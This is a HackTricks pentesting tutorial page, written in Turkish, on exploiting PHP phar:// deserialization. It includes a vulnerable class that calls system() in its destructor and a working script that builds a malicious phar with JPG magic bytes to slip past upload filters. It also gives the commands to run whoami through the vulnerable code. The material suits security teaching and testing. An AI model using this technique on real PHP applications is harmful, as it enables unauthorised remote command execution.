hacktricks/src/pentesting-web/file-inclusion/phar-deserialization.md

2.1 KiB
Raw Blame History

phar:// deserialization

{{#include ../../banners/hacktricks-training.md}}

Phar dosyaları (PHP Archive) serileştirilmiş formatta meta veriler içerir, bu nedenle, ayrıştırıldığında bu meta veri deserileştirilir ve PHP kodu içinde bir deserileştirme zafiyetini istismar etmeye çalışabilirsiniz.

Bu özelliğin en iyi yanı, bu deserileştirmenin file_get_contents(), fopen(), file() veya file_exists(), md5_file(), filemtime() veya filesize() gibi PHP kodunu değerlendirmeyen PHP fonksiyonları kullanılsa bile gerçekleşmesidir.

Yani, bir PHP web uygulamasının phar:// protokolünü kullanarak keyfi bir dosyanın boyutunu alabileceği bir durumu hayal edin ve kodun içinde aşağıdaki gibi bir sınıf buluyorsunuz:

<?php
class AnyClass {
public $data = null;
public function __construct($data) {
$this->data = $data;
}

function __destruct() {
system($this->data);
}
}

filesize("phar://test.phar"); #The attacker can control this path

Bir phar dosyası oluşturabilirsiniz ki yüklendiğinde bu sınıfı kötüye kullanarak rastgele komutlar çalıştırır:

<?php

class AnyClass {
public $data = null;
public function __construct($data) {
$this->data = $data;
}

function __destruct() {
system($this->data);
}
}

// create new Phar
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub("\xff\xd8\xff\n<?php __HALT_COMPILER(); ?>");

// add object of any class as meta data
$object = new AnyClass('whoami');
$phar->setMetadata($object);
$phar->stopBuffering();

Not edin ki JPG'nin sihirli baytları (\xff\xd8\xff), phar dosyasının başına olası dosya yükleme kısıtlamalarını aşmak için eklenmiştir.
test.phar dosyasını şu şekilde derleyin:

php --define phar.readonly=0 create_phar.php

Ve zayıf kodu istismar ederek whoami komutunu çalıştırın:

php vuln.php

Referanslar

{{#ref}} https://blog.ripstech.com/2018/new-php-exploitation-technique/ {{#endref}}

{{#include ../../banners/hacktricks-training.md}}